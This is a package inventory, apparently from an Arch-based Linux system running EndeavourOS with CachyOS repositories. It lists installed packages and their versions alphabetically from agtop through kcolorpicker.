agtop-2.4.24-1-x86_64 +installed = aha-0.5.1-3.1-x86_64_v4 +installed = aide-0.19.3-1-x86_64 +installed = akm-26-1-any +installed = akonadi-26.04.2-1.1-x86_64_v4 +installed = akonadi-calendar-26.04.2-1.1-x86_64_v4 +installed = akonadi-contacts-26.04.2-1.1-x86_64_v4 +installed = akonadi-import-wizard-26.04.2-1.1-x86_64_v4 +installed = akonadi-mime-26.04.2-1.1-x86_64_v4 +installed = akonadi-search-26.04.2-1.1-x86_64_v4 +installed = akvcam-dkms-1.4.0-1-any +installed = alembic-1.8.11-2.1-x86_64_v4 +installed = alsa-card-profiles-1:1.6.6-1.1-x86_64_v4 +installed = alsa-firmware-1.2.4-4-any +installed = alsa-lib-1.2.16-1.1-x86_64_v4 +installed = alsa-plugins-1:1.2.12-5.5-x86_64_v4 +installed = alsa-topology-conf-1.2.5.1-4-any +installed = alsa-ucm-conf-1.2.16-2-any +installed = alsa-utils-1.2.16-1.1-x86_64_v4 +installed = amd-ucode-1:20260519-1-any +installed = amdsmi-7.2.4-1.1-x86_64_v4 +installed = amf-amdgpu-pro-25.10_2202160-1-x86_64 +installed = anaconda-2025.12.2-1-x86_64 +installed = android-bash-completion-r43.c1b0656-1-any +installed = android-sdk-platform-tools-37.0.0-1-x86_64 +installed = android-studio-2026.1.1.9-1-x86_64 +installed = android-tools-35.0.2-27.1-x86_64_v4 +installed = android-udev-20260423-1-any +installed = aom-3.14.1-1.1-x86_64_v4 +installed = apparmor-4.1.7-1.1-x86_64_v4 +installed = appimagelauncher-3.0.0_beta_3-1-x86_64 +installed = appstream-1.1.2-1.1-x86_64_v4 +installed = appstream-qt-1.1.2-1.1-x86_64_v4 +installed = apr-1.7.6-1-x86_64 +installed = apr-util-1.6.3-2.1-x86_64_v4 +installed = arch-audit-0.2.0-5.1-x86_64_v4 +installed = arch-install-scripts-31-1-any +installed = archlinux-appstream-data-20260606-1-any +installed = archlinux-contrib-20260611-1-any +installed = archlinux-keyring-20260420-2-any +installed = argon2-20190702-6.3-x86_64_v4 +installed = aria2-1.37.0-3.1-x86_64_v4 +installed = aribb24-1.0.3-4.1-x86_64_v4 +installed = aribb25-0.2.7-3.1-x86_64_v4 +installed = ark-26.04.2-1.1-x86_64_v4 +installed = aspell-0.60.8.2-2.1-x86_64_v4 +installed = aspell-de-20161207.7.0-2.2-x86_64_v4 +installed = assimp-6.0.5-1.1-x86_64_v4 +installed = at-spi2-core-2.60.4-1.1-x86_64_v4 +installed = atkmm-2.28.5-2.1-x86_64_v4 +installed = attica-6.27.0-1.1-x86_64_v4 +installed = attr-2.5.2-2.1-x86_64_v4 +installed = audit-4.1.4-2.1-x86_64_v4 +installed = augeas-1.14.1-5.1-x86_64_v4 +installed = aurorae-6.6.5-1.1-x86_64_v4 +installed = ausweisapp2-2.4.0-1-x86_64 +installed = autoconf-2.73-1-any +installed = automake-1.18.1-1-any +installed = avahi-1:0.9rc4-1.1-x86_64_v4 +installed = avisynthplus-3.7.5-3.1-x86_64_v4 +installed = axel-2.17.14-2.1-x86_64_v4 +installed = ayatana-ido-0.10.4-1.2-x86_64_v4 +installed = ayugram-desktop-6.7.8-6-x86_64 +installed = b43-fwcutter-019-6.1-x86_64_v4 +installed = babl-0.1.126-1.1-x86_64_v4 +installed = baloo-6.27.0-1.1-x86_64_v4 +installed = baloo-widgets-26.04.2-1.1-x86_64_v4 +installed = base-3-3-any +installed = base-devel-1-2-any +installed = bash-5.3.9-2-x86_64_v4 +installed = bash-completion-2.17.0-3-any +installed = bauh-0.10.7-3-any +installed = bc-1.08.2-1.1-x86_64_v4 +installed = bcg729-1.1.1-2.1-x86_64_v4 +installed = bind-9.20.23-1.1-x86_64_v4 +installed = binutils-2.46+r70+g155188ea10a7-2-x86_64_v4 +installed = bison-3.8.2-8-x86_64 +installed = bitwarden-2026.2.1-1.1-x86_64_v4 +installed = blas-3.12.1-2.1-x86_64_v4 +installed = bleachbit-6.0.1-1-any +installed = blender-17:5.1.2-1-x86_64 +installed = blockstream-green-appimage-2.0.26-1-x86_64 +installed = blosc-1.21.6-2-x86_64 +installed = bluedevil-1:6.6.5-1.1-x86_64_v4 +installed = bluez-5.86-6.1-x86_64_v4 +installed = bluez-libs-5.86-6.1-x86_64_v4 +installed = bluez-qt-6.27.0-1.1-x86_64_v4 +installed = bluez-utils-5.86-6.1-x86_64_v4 +installed = bolt-0.9.11-1.1-x86_64_v4 +installed = boost-1.91.0-1.1-x86_64_v4 +installed = boost-libs-1.91.0-1.1-x86_64_v4 +installed = bootconfig-7.0.10-1-x86_64 +installed = borg-1.4.4-1.1-x86_64_v4 +installed = botan-3.12.0-1.1-x86_64_v4 +installed = bpf-7.0.10-1-x86_64 +installed = breeze-6.6.5-1.1-x86_64_v4 +installed = breeze-cursors-6.6.5-1.1-x86_64_v4 +installed = breeze-gtk-6.6.5-1-any +installed = breeze-icons-6.27.0-1.1-x86_64_v4 +installed = breeze-plymouth-6.6.5-1.1-x86_64_v4 +installed = breezy-3.3.21-2.1-x86_64_v4 +installed = brltty-6.9.1-1.1-x86_64_v4 +installed = brotli-1.2.0-1.1-x86_64_v4 +installed = browsh-1.8.3-1-x86_64 +installed = btop-1.4.7-1.1-x86_64_v4 +installed = btrfs-progs-7.0-1-x86_64 +installed = bubblewrap-0.11.2-1.1-x86_64_v4 +installed = bzip2-1.0.8-6.1-x86_64_v4 +installed = c-ares-1.34.6-1.1-x86_64_v4 +installed = ca-certificates-20240618-1-any +installed = ca-certificates-mozilla-3.125-1.1-x86_64_v4 +installed = ca-certificates-utils-20240618-1-any +installed = cabextract-1.11-2.1-x86_64_v4 +installed = cachy-update-3.20.0-2-any +installed = cachyos-keyring-20240331-1-any +installed = cachyos-mirrorlist-27-1-any +installed = cachyos-v3-mirrorlist-27-1-any +installed = cachyos-v4-mirrorlist-27-1-any +installed = cairo-1.18.4-1.1-x86_64_v4 +installed = cairomm-1.14.6-1.1-x86_64_v4 +installed = cairomm-1.16-1.18.1-1.1-x86_64_v4 +installed = camorama-0.21.2-1-x86_64 +installed = cantarell-fonts-1:0.311-1-any +installed = capstone-5.0.9-1.1-x86_64_v4 +installed = catatonit-0.2.1-2.1-x86_64_v4 +installed = cblas-3.12.1-2.1-x86_64_v4 +installed = ccache-4.13.6-1.1-x86_64_v4 +installed = cccl-3.3.4-1-any +installed = ccfits-2.7-1.1-x86_64_v4 +installed = ccid-1.8.2-1.1-x86_64_v4 +installed = cdparanoia-10.2-9.1-x86_64_v4 +installed = cdrtools-3.02a09-6.1-x86_64_v4 +installed = cdw-0.8.1-2-x86_64 +installed = ceres-solver-2.2.0-5.1-x86_64_v4 +installed = cfitsio-1:4.6.4-1.1-x86_64_v4 +installed = chatty-0.8.9-4-x86_64 +installed = chntpw-140201-5-x86_64 +installed = chromaprint-1.6.0-3.1-x86_64_v4 +installed = chrony-4.8-3.1-x86_64_v4 +installed = cifs-utils-7.5-1.1-x86_64_v4 +installed = cjson-1.7.19-1.1-x86_64_v4 +installed = clang-22.1.6-2-x86_64_v4 +installed = clara-verse-0.3.1.beta-3-x86_64 +installed = clinfo-3.0.25.02.14-1.1-x86_64_v4 +installed = cmake-4.3.3-1.1-x86_64_v4 +installed = cmark-0.31.2-1.1-x86_64_v4 +installed = codeberg-cli-0.5.5-2.1-x86_64_v4 +installed = colord-1.4.8-1-x86_64 +installed = colord-gtk-0.3.1-1.1-x86_64_v4 +installed = colord-gtk-common-0.3.1-1.1-x86_64_v4 +installed = comgr-2:7.2.4-1.1-x86_64_v4 +installed = compiler-rt-22.1.6-1.1-x86_64_v4 +installed = composable-kernel-7.2.4-1-x86_64 +installed = composefs-1.0.8-1.1-x86_64_v4 +installed = composer-2.10.1-1-any +installed = confuse-3.3-5.1-x86_64_v4 +installed = conmon-1:2.2.1-1.1-x86_64_v4 +installed = containerd-2.3.1-1.1-x86_64_v4 +installed = containers-common-1:0.67.1-3-any +installed = convertlit-1.8-13.1-x86_64_v4 +installed = coreutils-9.11-1.1-x86_64_v4 +installed = cpio-2.15-3.1-x86_64_v4 +installed = cppdap-1.58.0-3.1-x86_64_v4 +installed = cpu-x-5.4.0-3.1-x86_64_v4 +installed = cpupower-7.0.10-1-x86_64 +installed = cracklib-2.10.3-1.1-x86_64_v4 +installed = cronie-1.7.2-2.1-x86_64_v4 +installed = crunchy-cli-3.6.7-1-x86_64 +installed = crypto++-8.9.0-3.1-x86_64_v4 +installed = cryptsetup-2.8.6-1.1-x86_64_v4 +installed = cuda-13.3.0-1-x86_64 +installed = cups-2:2.4.19-1-x86_64 +installed = cups-filters-2.0.1-2.1-x86_64_v4 +installed = curl-8.20.0-7-x86_64 +installed = cwitch-0.3.0-1-any +installed = cython-3.2.5-1.1-x86_64_v4 +installed = darktable-2:5.4.1-3.1-x86_64_v4 +installed = dav1d-1.5.3-1.1-x86_64_v4 +installed = db5.3-5.3.28-7.1-x86_64_v4 +installed = dbus-1.16.2-1.1-x86_64_v4 +installed = dbus-broker-37-3.1-x86_64_v4 +installed = dbus-broker-units-37-3.1-x86_64_v4 +installed = dbus-glib-0.114-1.1-x86_64_v4 +installed = dbus-units-37-3.1-x86_64_v4 +installed = dconf-0.49.0-1.1-x86_64_v4 +installed = ddcutil-2.2.7-1.1-x86_64_v4 +installed = ddrescue-1.30-2.1-x86_64_v4 +installed = debugedit-5.3-1-x86_64 +installed = default-cursors-3-1-any +installed = deno-2.8.3-1.1-x86_64_v4 +installed = desktop-file-utils-0.28-1.1-x86_64_v4 +installed = device-mapper-2.03.41-1.1-x86_64_v4 +installed = devil-1.8.0-9.1-x86_64_v4 +installed = devtools-1:1.5.0-1-any +installed = dex-0.10.1-1-any +installed = dhcpcd-10.3.2-1.1-x86_64_v4 +installed = dialog-1:1.3_20260107-1.1-x86_64_v4 +installed = diffutils-3.12-2-x86_64 +installed = ding-libs-0.7.0-1.1-x86_64_v4 +installed = dino-0.5.1-2.1-x86_64_v4 +installed = dione-appimage-1.0.0-1-x86_64 +installed = discord-1:1.0.142-1-x86_64 +installed = discount-3.0.1.3-1.1-x86_64_v4 +installed = discover-6.6.5-1.1-x86_64_v4 +installed = djvulibre-3.5.30-1.1-x86_64_v4 +installed = dkms-3.4.1-2-any +installed = dma-0.14-1.1-x86_64_v4 +installed = dmidecode-3.7-1.3-x86_64_v4 +installed = dmraid-1.0.0.rc16.3-15.1-x86_64_v4 +installed = dnslookup-bin-1.11.2-1-x86_64 +installed = dnsmasq-2.93-1.1-x86_64_v4 +installed = dnsprobe-1.0.3-1-x86_64 +installed = dnssec-anchors-20250524-1-any +installed = docbook-xml-4.5-11-any +installed = docbook-xsl-1.79.2-9-any +installed = docker-1:29.5.2-1.1-x86_64_v4 +installed = docker-compose-5.1.4-1.1-x86_64_v4 +installed = dolphin-26.04.2-1.1-x86_64_v4 +installed = dolphin-plugins-26.04.2-1.1-x86_64_v4 +installed = dos2unix-7.5.6-1.1-x86_64_v4 +installed = dosfstools-4.2-5.1-x86_64_v4 +installed = dotconf-1.4.1-1.1-x86_64_v4 +installed = dotnet-host-bin-10.0.8.sdk300-1-x86_64 +installed = dotnet-install-v1-2-any +installed = dotnet-runtime-10.0.8.sdk108-1-x86_64 +installed = dotnet-runtime-8.0-8.0.27.sdk127-1.1-x86_64_v4 +installed = dotnet-runtime-9.0-9.0.16.sdk117-1.1-x86_64_v4 +installed = dotnet-sdk-10.0.8.sdk108-1-x86_64 +installed = dotnet-sdk-9.0-9.0.16.sdk117-1.1-x86_64_v4 +installed = dotnet-targeting-pack-10.0.8.sdk108-1-x86_64 +installed = dotnet-targeting-pack-9.0-9.0.16.sdk117-1.1-x86_64_v4 +installed = double-conversion-3.4.0-1.1-x86_64_v4 +installed = downgrade-12.0.2-1-any +installed = dqlite-1.18.6-1.1-x86_64_v4 +installed = draco-1.5.7-2.1-x86_64_v4 +installed = dracut-111_eos-1-x86_64 +installed = drill-0.9.0-1-x86_64 +installed = drkonqi-6.6.5-2.1-x86_64_v4 +installed = droidcam-1:2.1.5-1-x86_64 +installed = drumstick-2.11.0-2.1-x86_64_v4 +installed = dtc-1:1.7.2-1.1-x86_64_v4 +installed = duf-0.9.1-1.1-x86_64_v4 +installed = duktape-2.7.0-7.1-x86_64_v4 +installed = dxvk-bin-2.7.1-1-x86_64 +installed = e2fsprogs-1.47.4-1.1-x86_64_v4 +installed = earlyoom-1.9.0-1.1-x86_64_v4 +installed = ebook-tools-0.2.2-9.1-x86_64_v4 +installed = editorconfig-core-c-0.12.11-1.1-x86_64_v4 +installed = edk2-aarch64-202605-1-any +installed = edk2-ovmf-202605-1-any +installed = edk2-riscv64-202605-1-any +installed = edrawmax-bin-14.0.0-0-x86_64 +installed = efibootmgr-18-4.1-x86_64_v4 +installed = efitools-1.9.2-7.1-x86_64_v4 +installed = efivar-39-2.1-x86_64_v4 +installed = egl-gbm-1.1.3-1.1-x86_64_v4 +installed = egl-wayland-4:1.1.21-1.1-x86_64_v4 +installed = egl-wayland2-1.0.1-1.1-x86_64_v4 +installed = egl-x11-1.0.5-1.1-x86_64_v4 +installed = eglexternalplatform-1.2.1-1-any +installed = eigen-5.0.1-2.1-x86_64_v4 +installed = electron37-37.5.1-1.1-x86_64_v4 +installed = electron39-39.8.10-1.1-x86_64_v4 +installed = electron41-41.7.2-1-x86_64 +installed = element-desktop-1.12.18-3-x86_64 +installed = element-web-1.12.18-3-x86_64 +installed = elfutils-0.195-1-x86_64 +installed = ell-0.83-1.1-x86_64_v4 +installed = embree-4.4.1-1.1-x86_64_v4 +installed = enchant-2.8.15-2.1-x86_64_v4 +installed = endeavouros-branding-26.03.1.1-1-any +installed = endeavouros-keyring-20231222-1-any +installed = endeavouros-mirrorlist-26.4-1-any +installed = enpass-bin-6.11.13.1957-1-x86_64 +installed = eos-apps-info-26-1-any +installed = eos-bash-shared-26.6-1-any +installed = eos-breeze-sddm-26.03.1.1-1-any +installed = eos-hooks-1.16.2-1-any +installed = eos-log-tool-25.10-1-any +installed = eos-packagelist-2.3.1-2-any +installed = eos-qogir-icons-2025.02.15-3-any +installed = eos-quickstart-1.4.1-1-x86_64 +installed = eos-rankmirrors-26-1-any +installed = eos-settings-plasma-2.1-1-any +installed = eos-translations-26.5-1-any +installed = eos-update-26.6-1-any +installed = eruption-0.3.6-2-x86_64 +installed = espeak-ng-1.52.0-1.1-x86_64_v4 +installed = esphome-flasher-1.4.0-1-any +installed = esptool-5.3.0-1-any +installed = ethtool-1:7.0-1.1-x86_64_v4 +installed = evine-0.1.3-1-x86_64 +installed = evolution-data-server-3.60.2-2-x86_64 +installed = ex-vi-compat-2-1-any +installed = execstack-20130503-10-x86_64 +installed = exfatprogs-1.4.1-1.1-x86_64_v4 +installed = exiv2-0.28.8-2.1-x86_64_v4 +installed = expac-10-12.2-x86_64_v4 +installed = expat-2.8.1-1.1-x86_64_v4 +installed = f2fs-tools-1.16.0-3.1-x86_64_v4 +installed = faac-1.50-1.1-x86_64_v4 +installed = faad2-2.11.2-1.1-x86_64_v4 +installed = fakeroot-1:1.37.2-1-x86_64 +installed = fast_float-8.2.8-1-any +installed = faugus-launcher-1.22.2-1-any +installed = fd-10.4.2-2.1-x86_64_v4 +installed = ffmpeg-obs-8.1.1-2-x86_64 +installed = ffmpeg4.4-4.4.6-5.1-x86_64_v4 +installed = ffmpegthumbnailer-2.3.0-1.2-x86_64_v4 +installed = ffmpegthumbs-26.04.2-1.1-x86_64_v4 +installed = fftw-3.3.11-1.1-x86_64_v4 +installed = file-5.48-1.1-x86_64_v4 +installed = filesystem-2025.10.12-1-any +installed = findutils-4.10.0-3.1-x86_64_v4 +installed = fio-3.42-1.1-x86_64_v4 +installed = firefox-151.0.4-1.1-x86_64_v4 +installed = firefox-dark-reader-4.9.124-1-any +installed = firefox-decentraleyes-3.0.1-1-any +installed = firejail-0.9.80-1.1-x86_64_v4 +installed = firetools-0.9.72-3.1-x86_64_v4 +installed = fish-4.7.1-1-x86_64 +installed = flac-1.5.0-1.1-x86_64_v4 +installed = flashrom-1.7.0-1.1-x86_64_v4 +installed = flatpak-1:1.18.0-1.1-x86_64_v4 +installed = flatpak-kcm-6.6.5-1.1-x86_64_v4 +installed = flex-2.6.4-6.1-x86_64_v4 +installed = flickcurl-1.26-13.1-x86_64_v4 +installed = fltk1.3-1.3.11-4.1-x86_64_v4 +installed = fluffychat-bin-2.6.0-1-x86_64 +installed = fluidsynth-2.5.5-1.1-x86_64_v4 +installed = fluorine-manager-bin-0.2.2-1-x86_64 +installed = fmt-12.1.0-2.1-x86_64_v4 +installed = fontconfig-2:2.18.1-1.1-x86_64_v4 +installed = foremost-1.5.7-7.1-x86_64_v4 +installed = frameworkintegration-6.27.0-1.1-x86_64_v4 +installed = freeglut-3.8.0-1.1-x86_64_v4 +installed = freerdp-2:3.26.0-1.1-x86_64_v4 +installed = freetype2-2.14.3-1.1-x86_64_v4 +installed = frei0r-plugins-3.2.1-1-x86_64 +installed = fribidi-1.0.16-2.1-x86_64_v4 +installed = fsarchiver-0.8.9-1.1-x86_64_v4 +installed = ftgl-2.4.0-3.1-x86_64_v4 +installed = fuse-common-3.18.2-1.1-x86_64_v4 +installed = fuse2-2.9.9-5-x86_64 +installed = fuse3-3.18.2-1.1-x86_64_v4 +installed = fwupd-2.1.5-1.1-x86_64_v4 +installed = fwupd-efi-1.8-2-any +installed = fzf-0.72.0-1.1-x86_64_v4 +installed = gallery-dl-1.32.2-1-any +installed = gameconqueror-0.17-11-x86_64 +installed = gamemode-1.8.2-2.1-x86_64_v4 +installed = gamescope-3.16.23-2-x86_64_v4 +installed = gavl-2.0.1-2.1-x86_64_v4 +installed = gawk-5.4.0-1.1-x86_64_v4 +installed = gc-8.2.12-1.1-x86_64_v4 +installed = gcc-16.1.1+r12+g301eb08fa2c5-2-x86_64_v4 +installed = gcc-libs-16.1.1+r12+g301eb08fa2c5-2-x86_64_v4 +installed = gcc15-15.2.1+r934+gbcd3e3ff5aa7-1.1-x86_64_v4 +installed = gcc15-libs-15.2.1+r934+gbcd3e3ff5aa7-1.1-x86_64_v4 +installed = gcfflasher-4.11.0-1-x86_64 +installed = gcr-3.41.2-2.1-x86_64_v4 +installed = gcr-4-4.4.0.1-1.1-x86_64_v4 +installed = gd-2.3.3-9-x86_64 +installed = gdb-17.2-1.1-x86_64_v4 +installed = gdb-common-17.2-1.1-x86_64_v4 +installed = gdbm-1.26-2.1-x86_64_v4 +installed = gdk-pixbuf2-2.44.6-2.1-x86_64_v4 +installed = gegl-0.4.70-2.1-x86_64_v4 +installed = geocode-glib-2-3.26.4-5.3-x86_64_v4 +installed = geocode-glib-common-3.26.4-5.3-x86_64_v4 +installed = gettext-1.0-2.1-x86_64_v4 +installed = gflags-2.2.2-6.1-x86_64_v4 +installed = gfxstream-0.1.2-2.1-x86_64_v4 +installed = ghc-libs-9.6.6-1-x86_64 +installed = ghostscript-10.07.1-1.1-x86_64_v4 +installed = giflib-6.1.3-1.1-x86_64_v4 +installed = gimp-3.2.4-1-x86_64 +installed = gimp-nufraw-0.43.3-11.1-x86_64_v4 +installed = gimp-plugin-gmic-3.7.6-1.1-x86_64_v4 +installed = git-2.54.0-1.1-x86_64_v4 +installed = git-lfs-3.7.1-1.2-x86_64_v4 +installed = glances-4.5.5-1-any +installed = glew-2.3.1-1.1-x86_64_v4 +installed = glfw-1:3.4-1.1-x86_64_v4 +installed = glib-networking-1:2.80.1-1.1-x86_64_v4 +installed = glib-perl-1.329.4-3.1-x86_64_v4 +installed = glib2-2.88.1-1.1-x86_64_v4 +installed = glib2-devel-2.88.1-1.1-x86_64_v4 +installed = glibc-2.43+r22+g8362e8ce10b2-4-x86_64_v4 +installed = glibmm-2.66.8-2.1-x86_64_v4 +installed = glibmm-2.68-2.88.0-2.1-x86_64_v4 +installed = glm-1.0.3-1.1-x86_64_v4 +installed = glow-2.1.2-1.1-x86_64_v4 +installed = glslang-1:1.4.350.0-1.1-x86_64_v4 +installed = glu-9.0.3-3.1-x86_64_v4 +installed = glusterfs-1:11.2-2.1-x86_64_v4 +installed = glycin-2.1.1-1.2-x86_64_v4 +installed = gmic-3.7.6-1.1-x86_64_v4 +installed = gmp-6.3.0-3.1-x86_64_v4 +installed = gnome-desktop-1:44.5-1.1-x86_64_v4 +installed = gnome-desktop-4-1:44.5-1.1-x86_64_v4 +installed = gnome-desktop-common-1:44.5-1.1-x86_64_v4 +installed = gnome-keyring-1:50.0-1.2-x86_64_v4 +installed = gnulib-l10n-20241231-1-any +installed = gnupg-2.4.9-1.1-x86_64_v4 +installed = gnutls-3.8.13-2.1-x86_64_v4 +installed = go-hass-agent-14.11.0-1-x86_64 +installed = gobject-introspection-1.86.0-2.1-x86_64_v4 +installed = gobject-introspection-runtime-1.86.0-2.1-x86_64_v4 +installed = gocryptfs-2.6.1-1.1-x86_64_v4 +installed = google-chrome-149.0.7827.114-1-x86_64 +installed = google-glog-0.7.1-2.1-x86_64_v4 +installed = goose-desktop-bin-1.37.0-3-x86_64 +installed = gparted-1.8.1-2.1-x86_64_v4 +installed = gperftools-2.18.1-1.1-x86_64_v4 +installed = gpgme-2.1.0-1.1-x86_64_v4 +installed = gpgmepp-2.1.0-1.1-x86_64_v4 +installed = gpm-1.20.7.r38.ge82d1a6-6.1-x86_64_v4 +installed = gptfdisk-1.0.10-2.1-x86_64_v4 +installed = gputest-0.7.0-1-x86_64 +installed = grantleetheme-26.04.2-1.1-x86_64_v4 +installed = graphene-1.10.8-2.1-x86_64_v4 +installed = graphicsmagick-1.3.47-1.1-x86_64_v4 +installed = graphite-1:1.3.15-1-x86_64 +installed = grep-3.12-2.1-x86_64_v4 +installed = groff-1.24.1-1.1-x86_64_v4 +installed = gsettings-desktop-schemas-50.1-1-any +installed = gsettings-system-schemas-50.1-1-any +installed = gsl-2.8-1-x86_64 +installed = gsm-1.0.24-1.1-x86_64_v4 +installed = gspell-1.14.3-1.1-x86_64_v4 +installed = gssdp-1.6.5-1-x86_64 +installed = gssproxy-0.9.2-3.1-x86_64_v4 +installed = gst-libav-1.28.4-1-x86_64 +installed = gst-plugin-gtk-1.28.4-1-x86_64 +installed = gst-plugin-pipewire-1:1.6.6-1.1-x86_64_v4 +installed = gst-plugin-va-1.28.4-1-x86_64 +installed = gst-plugins-bad-1.28.4-1-x86_64 +installed = gst-plugins-bad-libs-1.28.4-1-x86_64 +installed = gst-plugins-base-1.28.4-1-x86_64 +installed = gst-plugins-base-libs-1.28.4-1-x86_64 +installed = gst-plugins-good-1.28.4-1-x86_64 +installed = gst-plugins-ugly-1.28.4-1-x86_64 +installed = gstreamer-1.28.4-1-x86_64 +installed = gtest-1.17.0-2.1-x86_64_v4 +installed = gtk-update-icon-cache-1:4.22.4-1.1-x86_64_v4 +installed = gtk-vnc-1.5.0-1.1-x86_64_v4 +installed = gtk2-2.24.33-5.1-x86_64_v4 +installed = gtk3-1:3.24.52-1.1-x86_64_v4 +installed = gtk4-1:4.22.4-1.1-x86_64_v4 +installed = gtkimageview-1.6.4-9-x86_64 +installed = gtkmm-4.0-4.22.0-2.1-x86_64_v4 +installed = gtkmm3-3.24.11-1.1-x86_64_v4 +installed = gtksourceview3-1:3.24.11+r30+gd880929f-1.2-x86_64_v4 +installed = gtksourceview4-4.8.4-2.1-x86_64_v4 +installed = gtksourceview5-5.20.0-1.1-x86_64_v4 +installed = gtop-1.1.5-2-any +installed = guile-3.0.11-1.1-x86_64_v4 +installed = gum-0.17.0-1.1-x86_64_v4 +installed = gumbo-parser-0.13.2-1.1-x86_64_v4 +installed = gupnp-1:1.6.10-1.1-x86_64_v4 +installed = gupnp-igd-1.6.0-2.3-x86_64_v4 +installed = gvfs-1.60.0-2-x86_64 +installed = gvim-9.2.0623-1.1-x86_64_v4 +installed = gweather-locations-2026.2-1.2-x86_64_v4 +installed = gwenview-26.04.2-1.1-x86_64_v4 +installed = gzip-1.14-2.1-x86_64_v4 +installed = harfbuzz-14.2.1-1.1-x86_64_v4 +installed = harfbuzz-icu-14.2.1-1.1-x86_64_v4 +installed = haruna-1.8.1-1.1-x86_64_v4 +installed = hashcat-1:7.1.2-2.1-x86_64_v4 +installed = hashcat-utils-1.10-1.1-x86_64_v4 +installed = haskell-disk-free-space-0.1.0.1-27-x86_64 +installed = haveged-1.9.22-1.1-x86_64_v4 +installed = hcxkeys-6.2.1-3.1-x86_64_v4 +installed = hdf5-2.1.1-1.1-x86_64_v4 +installed = hdparm-9.65-3.1-x86_64_v4 +installed = heroic-games-launcher-bin-2.22.0-1-x86_64 +installed = hexchat-2.16.2-5-x86_64 +installed = hexedit-1.6-3.1-x86_64_v4 +installed = hibiscus-2.12.4-1-x86_64 +installed = hicolor-icon-theme-0.18-1-any +installed = hidapi-0.15.0-1.1-x86_64_v4 +installed = highway-1.4.0-1.1-x86_64_v4 +installed = hip-runtime-amd-7.2.4-1.1-x86_64_v4 +installed = hipblas-7.2.4-1.1-x86_64_v4 +installed = hipblas-common-7.2.4-1-any +installed = hipblaslt-7.2.4-1-x86_64 +installed = hipcub-7.2.4-1.1-x86_64_v4 +installed = hipfft-7.2.4-1.1-x86_64_v4 +installed = hiprand-7.2.4-1.1-x86_64_v4 +installed = hiprt-3.1.0.cb09c56-3.1-x86_64_v4 +installed = hipsolver-7.2.4-1.1-x86_64_v4 +installed = hipsparse-7.2.4-1.1-x86_64_v4 +installed = hipsparselt-7.2.4-1.1-x86_64_v4 +installed = hiredis-1.3.0-1-x86_64 +installed = hivex-1.3.24-7.1-x86_64_v4 +installed = hostapd-2.11-4.1-x86_64_v4 +installed = hsa-amd-aqlprofile-7.2.4-1.1-x86_64_v4 +installed = hsa-rocr-7.2.4-1.1-x86_64_v4 +installed = htmlq-0.4.0-3.1-x86_64_v4 +installed = htop-3.5.1-1.1-x86_64_v4 +installed = http-parser-2.9.4-2-x86_64 +installed = httrack-3.49.5-1.1-x86_64_v4 +installed = hunspell-1.7.3-1.1-x86_64_v4 +installed = hwdata-0.408-1-any +installed = hwdetect-2025.08.16.1333-1-any +installed = hwinfo-25.4-1.1-x86_64_v4 +installed = hwloc-2.14.0-1.1-x86_64_v4 +installed = hyperv-7.0.10-1-x86_64 +installed = hyphen-2.8.9-1.1-x86_64_v4 +installed = i2c-tools-4.4-4.1-x86_64_v4 +installed = iana-etc-20260530-1-any +installed = ibus-1.5.34-1.1-x86_64_v4 +installed = icoextract-0.3.0-1-any +installed = icu-78.3-1.1-x86_64_v4 +installed = iio-sensor-proxy-3.9-1.1-x86_64_v4 +installed = ijs-0.35-7.1-x86_64_v4 +installed = imagemagick-7.1.2.25-1.1-x86_64_v4 +installed = imath-3.2.2-6.1-x86_64_v4 +installed = imlib2-1.12.6-1.1-x86_64_v4 +installed = inetutils-2.8-1.1-x86_64_v4 +installed = iniparser-4.2.6-2.1-x86_64_v4 +installed = inotify-tools-4.25.9.0-1.1-x86_64_v4 +installed = intel-gmmlib-22.10.0-1.1-x86_64_v4 +installed = intel-media-driver-26.1.5-1.1-x86_64_v4 +installed = intel-oneapi-common-2026.0.0_235-1-any +installed = intel-oneapi-compiler-dpcpp-cpp-runtime-libs-2026.0.0_947-2.1-x86_64_v4 +installed = intel-oneapi-compiler-shared-runtime-libs-2026.0.0_947-1.1-x86_64_v4 +installed = intel-oneapi-mkl-2026.0.0_908-1.1-x86_64_v4 +installed = intel-oneapi-openmp-2026.0.0_947-1.1-x86_64_v4 +installed = intel-oneapi-tbb-2023.0.0_724-1.1-x86_64_v4 +installed = intel-oneapi-tcm-1.5.0_489-1.1-x86_64_v4 +installed = intel-oneapi-umf-1.1.0_340-2.1-x86_64_v4 +installed = intel-speed-select-7.0.10-1-x86_64 +installed = intltool-0.51.0-6-any +installed = inxi-3.3.40.1-1-any +installed = iproute2-7.0.0-1.1-x86_64_v4 +installed = iptables-1:1.8.13-1.1-x86_64_v4 +installed = iputils-20250605-1.1-x86_64_v4 +installed = irqbalance-1.9.5-3-x86_64 +installed = iso-codes-4.20.1-1-any +installed = iw-6.17-1.1-x86_64_v4 +installed = iwd-3.12-1.1-x86_64_v4 +installed = jack2-1.9.22-2.1-x86_64_v4 +installed = jackify-bin-0.6.0.1-1-x86_64 +installed = jameica-2.12.0-2-x86_64 +installed = jami-daemon-20260206-7.1-x86_64_v4 +installed = jami-qt-20260206.0-1.1-x86_64_v4 +installed = jansson-2.15.0-1.1-x86_64_v4 +installed = jasper-4.2.9-1.1-x86_64_v4 +installed = java-environment-common-3-6-any +installed = java-runtime-common-3-6-any +installed = jbig2dec-0.20-2.1-x86_64_v4 +installed = jbigkit-2.1-8.1-x86_64_v4 +installed = jdk21-openjdk-21.0.11.u10-2-x86_64_v4 +installed = jemalloc-1:5.3.1-2.1-x86_64_v4 +installed = jfsutils-1.1.15-9.1-x86_64_v4 +installed = jq-1.8.1-3.1-x86_64_v4 +installed = json-c-0.18-2.1-x86_64_v4 +installed = json-glib-1.10.8-1.1-x86_64_v4 +installed = jsoncpp-1.9.6-3.2-x86_64_v4 +installed = kaccounts-integration-26.04.2-1.1-x86_64_v4 +installed = kactivitymanagerd-6.6.5-1.1-x86_64_v4 +installed = karchive-6.27.0-1.1-x86_64_v4 +installed = kate-26.04.2-1.1-x86_64_v4 +installed = kauth-6.27.0-1.1-x86_64_v4 +installed = kbd-2.10.0-1.1-x86_64_v4 +installed = kbookmarks-6.27.0-1.1-x86_64_v4 +installed = kcalc-26.04.2-1.1-x86_64_v4 +installed = kcalendarcore-6.27.0-1.1-x86_64_v4 +installed = kcalutils-26.04.2-1.1-x86_64_v4 +installed = kcharselect-26.04.2-1.1-x86_64_v4 +installed = kcmutils-6.27.0-1.1-x86_64_v4 +installed = kcodecs-6.27.0-1.1-x86_64_v4 +installed = kcolorpicker-0.3.1-6-x86_64 